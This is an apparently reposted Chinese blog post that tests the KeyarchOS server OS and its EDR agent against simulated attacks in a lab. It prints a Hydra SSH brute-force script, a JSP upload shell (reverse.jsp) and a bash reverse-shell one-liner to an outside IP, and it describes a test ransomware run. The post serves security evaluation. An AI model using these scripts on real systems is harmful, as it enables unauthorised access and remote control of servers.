本文介绍: 首先在主机A,主机B上准备上传文件程序hydra: 这是要使用工具,hydra一个开源的、命令行下的多线程密码破解工具可以用来破解各种服务密码,包括 SSH、FTP、HTTP 等。最近有一些人利用工具扫描服务器漏洞利用扫描出的漏洞上传文件,进行远程操作机器我们熟知的挖矿病毒就是这样一类程序。以上就是针对浪潮信息KOS做的一些安防测评模拟了最常见暴力破解漏洞上传,和勒索病毒防控。从日志中我们可以看到主机B向主机A发起的破解,被拦截下来,这是因为主机A安装了EDR。

背景

近几年服务器安全防护越来越受到企业的重视,企业在选购时不再仅仅看重成本,还更看重安全性,因为一旦数据泄露,被暴力破解,将对公司业务造成毁灭性打击。鉴于人们服务器安全性的看重,本篇文章就来测评一下市场一款非常畅销的服务器操作系统——浪潮信息服务器操作系统云峦KeyarchOS。

环境准备

在本次测评中,我们使用三台已经安装了KeyarchOS系统机器(以下简称KOS主机),由于KOS的防护功能需要安装EDR安全工具(通过安装在KOS主机上的本地客户端(Agent)与管理中心联动,提供病毒木马、勒索软件暴力破解攻击的查杀防护功能防御未知程序运行关键业务文件篡改),我们的机器配置如下

3台安装了KOS系统的服务器

编号

设备名称

备注

A

KOS主机

安装EDR agent

B

KOS主机

未安装EDR agent

C

EDR管理中心

未安装EDR agent

另外在攻防演示需要病毒文件程序也已经提前安装好了。下文会详细介绍

下面进入第一个真实的业务场景

基于暴力破解的横向渗透防护

暴力破解中,攻击人员经常会使用一些工具来扫描攻击我们的服务器了。使用这工具进行扫描漏洞,使用字典不断试出密码。

下面看一下KOS在防护hydra暴力破解工具方面的表现。

我们在B主机安装要使用 hydra工具,并编写用于攻击脚本 hydra.sh

脚本将会攻击我们的主机A(安装了EDR ) 和主机C(未安装EDR )。

其中hydra.sh代码如下

#!/bin/bashcd /usr

hydra -l root -P pass_30.txt -t 4 -I ssh://[主机C IP]

hydra -l root -P pass_30.txt -t 4 -I ssh://[主机A IP]

以上的命令是使用 hydra 工具进行 SSH 密码破解。下面是命令中各选项详细解释

hydra: 这是要使用的工具,hydra 是一个开源的、命令行下的多线程密码破解工具,可以用来破解各种服务的密码,包括 SSH、FTP、HTTP 等。

-l root: 这表示使用 “root” 作为用户名进行尝试。你可以替换root” 为任何你想要尝试用户名

-P pass_30.txt: 这表示使用 “pass_30.txt文件作为密码源。这个文件应该包含了你想要尝试所有可能的密码。注意这个文件需要当前工作目录下,或者需要提供完整的文件路径

-t 4: 这表示使用 4 个线程进行破解。你可以根据需要增加或减少线程数。

-I ssh://[主机C IP] 这是你要破解目标服务器的地址。在这个例子中,目标服务器是位于 IP 地址 [主机C IP] 的 SSH 服务。注意,在 IP 地址前需要加上 “ssh://”。

使用下面指令运行脚本 sh hydra.sh,以下为显示日志

日志中我们可以看到,主机B向主机A发起的破解,被拦截下来,这是因为主机A安装了EDR 。

反观未安装EDR 的主机C则被成功爆破,被破解登录密码。

挖矿病毒防护

最近有一些人利用工具扫描服务器漏洞,利用扫描出的漏洞上传文件,进行远程操作机器,我们熟知的挖矿病毒就是这样一类程序

下面来演示一下,KOS在防范shell入侵的表现。

首先在主机A,主机B上准备好上传文件的程序打开浏览器访问 http://IP:8080/reverse/upload.html页面 这是一个上传文件的页面。如下图

其中 upload.html内容如下

<html xmlns="http://www.w3.org/1999/xhtml"&gt;

<head&gt;

<meta charset="utf-8">

<style>

.button {

        font-size: 13px;

        display: inline-block;

        font-weight: normal;

        text-align: center;

        vertical-align: middle;

        -ms-touch-action: manipulation;

        touch-action: manipulation;

        cursor: pointer;

        background-image: none;

        border-width: 1px;

        white-space: nowrap;

        font-size: 12px;

        height: 26px;

        line-height: 26px;

        padding: 0 10px;

        -webkit-user-select: none;

        -moz-user-select: none;

        -ms-user-select: none;

        user-select: none;

        background: #28a6fa;

        border-color: #28a6fa;

        width:60px;

}

.filese{

        height: 26px;

}

.fdiv{

        height:80px;

        color:white;

        width:100%;

}

.bodybg{

        width:100%;

        background-image:url("kosbgc.png");

}

.spant{

        font-size:30px;



}

.span1{

        color:white;

}

</style>



</head>

<body class="bodybg">

<div class="fdiv">

<span class="spant">文件交换系统</span>

</div>

 <form action="action.jsp" enctype="multipart/form-data" method="POST">

  <span class="span1">选择文件: </span><input class="filese" type="file" name="myfile" /> <input class="button"

   type="submit" value="提交" />

 </form>

</body>

</html>

通过这个入口上传两个文件 reverse.jspshell.sh

两个文件的内容如下

reverse.jsp内容:

<%@page import="java.lang.*"%>

<%@page import="java.util.*"%>

<%@page import="java.io.*"%>

<%@page import="java.net.*"%>



<%

  class StreamConnector extends Thread

  {

    InputStream wv;

    OutputStream ne;



    StreamConnector( InputStream wv, OutputStream ne )

    {

      this.wv = wv;

      this.ne = ne;

    }



    public void run()

    {

      BufferedReader qn  = null;

      BufferedWriter agw = null;

      try

      {

        qn  = new BufferedReader( new InputStreamReader( this.wv ) );

        agw = new BufferedWriter( new OutputStreamWriter( this.ne ) );

        char buffer[] = new char[8192];

        int length;

        while( ( length = qn.read( buffer, 0, buffer.length ) ) > 0 )

        {

          agw.write( buffer, 0, length );

          agw.flush();

        }

      } catch( Exception e ){}

      try

      {

        if( qn != null )

          qn.close();

        if( agw != null )

          agw.close();

      } catch( Exception e ){}

    }

  }



  try

  {

    String ShellPath = new String();

    ShellPath = "/bin/bash /usr/share/tomcat/webapps/reverse/shell.sh";

    Process process = Runtime.getRuntime().exec( ShellPath );

  } catch( Exception e ) {}

%>

shell.sh 内容

#!/bin/bash
bash -i >&amp; /dev/tcp/43.140.202.127/8446 0>&amp;1

在安装了EDR agent的机器A上,上传病毒文件,直接显示上传失败

下面看一下在未安装EDR agent的机器B上的表现。

在机器B上,能够直接上成功两个文件。

上成功后我们在测试靶机C使用nc -l -vv -p 8446命令监听8446端口

能够看到 主机B (未安装EDR)在测试靶机反弹成功,到了这一步,主机B已经执行了上传的shell.sh脚本

勒索病毒防护

我们在机器A和机器B上分别执行勒索病毒脚本,该勒索病毒会加密我们的doc文件。

执行脚本install.sh

#!/bin/bash


./testransomware /opt/2csec/

我们使用加密病毒testransomware 来对某个文件夹下的doc文件进行加密

在 主机B (未安装EDR) 执行结果

日志上看,文件都以被加密完成

查看/opt/2csec 文件夹查看文件,发现文件扩展名都已被修改

在 主机A (未安装EDR) 执行结果

会将进程杀死,并删除testransomware病毒

总结

以上就是针对浪潮信息KOS做的一些安防测评模拟了最常见暴力破解漏洞上传,和勒索病毒的防控

从大体上来讲在安装了EDR安全工具的KOS主机上,都能够准确无误地识别并拦截成功。

原文地址:https://blog.csdn.net/github_35631540/article/details/134801019

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_49264.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注